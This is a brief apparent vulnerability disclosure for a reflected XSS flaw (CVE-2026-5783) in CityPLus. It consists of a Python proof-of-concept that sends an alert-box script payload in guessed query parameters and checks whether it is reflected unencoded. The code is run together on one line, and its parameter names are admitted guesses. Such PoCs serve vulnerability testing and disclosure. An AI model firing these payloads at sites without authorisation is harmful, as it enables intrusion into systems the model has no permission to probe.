CVE-2026-5783: CityPLus 反射型XSS漏洞

# Proof of Concept for CVE-2026-5783 (Reflected XSS in CityPLus) # This script demonstrates how to test for the vulnerability by sending a malicious payload. import requests def check_xss_vulnerability(target_url): # Generic XSS payload to test reflection xss_payload = "<script>alert('CVE-2026-5783_PoC');</script>" # Example parameter name (actual parameter may vary based on application logic) params = { "search": xss_payload, "input": xss_payload } try: print(f"[*] Sending request to: {target_url}") response = requests.get(target_url, params=params, timeout=10) # Check if the payload is reflected in the response body without encoding if xss_payload in response.text: print(f"[+] Vulnerability Confirmed! Payload reflected in response.") print(f"[+] Potential Exploit Link: {response.url}") return True else: print("[-] Payload not reflected or application has input filtering.") return False except requests.exceptions.RequestException as e: print(f"[!] Error connecting to target: {e}") return False if __name__ == "__main__": # Replace with the actual target endpoint target = "http://target-cityplus-instance/vulnerable_page" check_xss_vulnerability(target)